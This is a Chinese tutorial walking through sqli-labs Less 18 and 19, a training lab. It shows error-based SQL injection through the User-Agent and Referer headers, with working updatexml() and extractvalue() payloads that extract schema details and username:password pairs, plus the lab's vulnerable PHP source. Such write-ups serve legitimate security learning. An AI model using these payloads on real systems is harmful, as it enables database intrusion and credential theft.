Less 18、19 对输入的参数都进行了严格的过滤,我们将在其他 HTTP 头发现 Sql 注入点。为了更方便地测试,需要结合 burp 进行抓包,注入方式和 Less 17 一样采用报错注入。
Less 18
POST-Header Injection-Uagent field-Error based (基于错误的用户代理,头部 POST 注入)
判断注入类型
首先我们注入正确的用户名和密码,观察到网页回显了 IP Address 和 User Agent。用户代理 User Agent 是一个 HTTP 头,使得服务器能够识别客户使用的操作系统及版本、CPU 类型、浏览器及版本、浏览器渲染引擎、浏览器语言、浏览器插件等。
接下来注入个错误的用户名和密码,网页显示登录失败且仅回显了 IP Address。
判断注入类型,在用户名使用下面的所有注入,网页都回显密码修改失败。
a\' OR 1 = 1#
a\') OR 1 = 1#
a\')) OR 1 = 1#
a" OR 1 = 1#
a") OR 1 = 1#
a")) OR 1 = 1#
在密码使用上面的所有注入,网页都回显密码修改失败。
注意到登录成功时,User Agent 会被回显到网页上,我们考虑 User Agent 头可能会存在注入。使用 brup 抓包,注入各种参数试试,都登录失败。
考虑到 Less 17 的经验,推断 uname 和 passwd 字段都进行了强效的过滤,我们注入正确的 uname 和 passwd 之后再次注入。此时发现当注入单引号闭合时,网页返回报错信息。
User-Agent: \'
到此,我们得知在登录成功之后会执行另一个 Sql 语句,该语句会因为 User Agent 头而存在字符型注入漏洞。
获取数据库信息
由于我们不知道第二个 Sql 语句具体长啥样,因此我们要先测试如何正确闭合该 Sql 语句。使用单引号闭合后,使用 “#” 注释掉后面的语句,注入失败。
User-Agent: \'#
注入 2 个连续的单引号,发现闭合成功,由此可见 2 个单引号分别闭合了 2 侧的单引号。
User-Agent: \'\'
在注入的两个单引号之间可以插入其他 Sql 语句,我们在这里放置 updatexml() 报错注入语句。注意使用单引号闭合两侧的 Sql 语句时,相当于把它分割成了 2 部分,插入 updatexml() 报错时要用 OR 进行连接。
User-Agent: \' OR updatexml(1,concat("!",database()),2) OR \'
知道了闭合方式之后,注入的步骤和 Less 17 差不多。爆表名,XPath_string 参数可以使用一个 SELECT 查询结果,使用 group_concat() 函数聚合。
User-Agent: \' OR updatexml(1,concat("!",(SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema = \'security\')),2) OR \'
爆字段名,继续使用 updatexml() 报错注入。
User-Agent: \' OR updatexml(1,concat("!",(SELECT group_concat(column_name) FROM information_schema.columns WHERE table_schema = \'security\' AND table_name = \'users\')),2) OR \'
获取目标信息
使用报错注入回显用户名和密码,先用一个表暂存从 users 表中取出所有数据的查询,然后再从这个暂存的表中取出数据。
User-Agent: \' OR (updatexml(1,concat(\'!\',(SELECT concat_ws(\':\',username,password) FROM (SELECT username,password FROM users)text LIMIT 0,1)),1)) OR \'
通过修改 LIMIT 子句的返回行数,就能取出其他行的查询结果。
User-Agent: \' OR (updatexml(1,concat(\'!\',(SELECT concat_ws(\':\',username,password) FROM (SELECT username,password FROM users)text LIMIT 0,1)),1)) OR \'
关卡 Sql 语句
源码如下,不出所料 uname 和 passwd 都进行了强效的过滤,这导致了 SELECT 语句难以注入。在成功登录的情况下,网页会使用 INSERT 语句把 User-Agent 写入数据库中,而我们就是使用 INSERT 语句进行注入的。
if(isset($_POST[\'uname\']) && isset($_POST[\'passwd\']))
{
$uname = check_input($_POST[\'uname\']);
$passwd = check_input($_POST[\'passwd\']);
$sql = "SELECT users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
$result1 = mysql_query($sql);
$row1 = mysql_fetch_array($result1);
if($row1)
{
echo \'<font color= "#FFFF00" font size = 3 >\';
$insert = "INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES (\'$uagent\', \'$IP\', $uname)";
mysql_query($insert);
//echo \'Your IP ADDRESS is: \' .$IP;
echo "</font>";
//echo "<br>";
echo \'<font color= "#0000ff" font size = 3 >\';
echo \'Your User Agent is: \' .$uagent;
echo "</font>";
echo "<br>";
print_r(mysql_error());
echo "<br><br>";
echo \'<img src="../images/flag.jpg" />\';
echo "<br>";
}
else
{
echo \'<font color= "#0000ff" font size="3">\';
//echo "Try again looser";
print_r(mysql_error());
echo "</br>";
echo "</br>";
echo \'<img src="../images/slap.jpg" />\';
echo "</font>";
}
}
为了加深理解,我们把闭合后的 INSERT 输出来看看,可以看到 User-Agent 中的 payload 被成功放入。
INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES (\'\' OR updatexml(1,concat("!",database()),2) OR \'\', \'127.0.0.1\', \'admin\')
Less 19
POST-Header Injection-Referer field-Error based (基于头部的 Referer POST 报错注入)
判断注入类型
首先我们注入正确的用户名和密码,观察到网页回显了 IP Address 和 Referer。引用来源 Referer是 HTTP 头的一个字段,用于告诉服务器该网页是从哪个页面链接过来的。
接下来注入个错误的用户名和密码,网页显示登录失败且仅回显了 IP Address。
判断注入类型,在用户名和密码都使用下面的所有注入,网页都回显密码修改失败。
a\' OR 1 = 1#
a\') OR 1 = 1#
a\')) OR 1 = 1#
a" OR 1 = 1#
a") OR 1 = 1#
a")) OR 1 = 1#
注意到登录成功时,Referer 会被回显到网页上,我们考虑 Referer 头可能会存在注入。使用 brup 抓包,注入正确的 uname 和 passwd 之后在 Referer 头使用单引号闭合。此时发现当注入单引号闭合时,网页返回报错信息。
Referer: \'
到此,我们得知在登录成功之后会执行另一个 Sql 语句,该语句会因为 User Agent 头而存在字符型注入漏洞。
获取数据库信息
由于我们不知道第二个 Sql 语句具体长啥样,因此我们要先测试如何正确闭合该 Sql 语句。使用单引号闭合后,使用 “#” 注释掉后面的语句,注入失败。
Referer: \'#
注入 2 个连续的单引号,发现闭合成功,由此可见 2 个单引号分别闭合了 2 侧的单引号。
Referer: \'\'
注入的步骤和 Less 17 差不多,这次我们使用 extractvalue() 报错注入。extractvalue() 报错注入和 updatexml() 报错差不多,extractvalue() 函数时对 XML 文档进行查询的函数。函数原型为:
extractvalue(XML_document, XPath_string)
| 参数 | 说明 |
|---|---|
| XML_document | String,XML 文档对象的名称 |
| XPath_string | Xpath 格式的字符串 |
爆数据库名,在注入的两个单引号之间放置 extractvalue() 报错注入。
Referer: \' OR extractvalue(1,concat("!",database())) OR \'
爆表名,XPath_string 参数可以使用一个 SELECT 查询结果,使用 group_concat() 函数聚合。
Referer: \' OR extractvalue(1,concat("!",(SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema = \'security\'))) OR \'
爆字段名,继续使用 extractvalue() 报错注入。
Referer: \' OR extractvalue(1,concat("!",(SELECT group_concat(column_name) FROM information_schema.columns WHERE table_schema = \'security\' AND table_name = \'users\'))) OR \'
获取目标信息
使用报错注入回显用户名和密码,先用一个表暂存从 users 表中取出所有数据的查询,然后再从这个暂存的表中取出数据。
Referer: \' OR (extractvalue(1,concat(\'!\',(SELECT concat_ws(\':\',username,password) FROM (SELECT username,password FROM users)text LIMIT 0,1)))) OR \'
关卡 Sql 语句
此处向数据库插入的是 Referer 头,其他部分和 Less 18 类似。
$insert="INSERT INTO `security`.`referers` (`referer`, `ip_address`) VALUES (\'$uagent\', \'$IP\')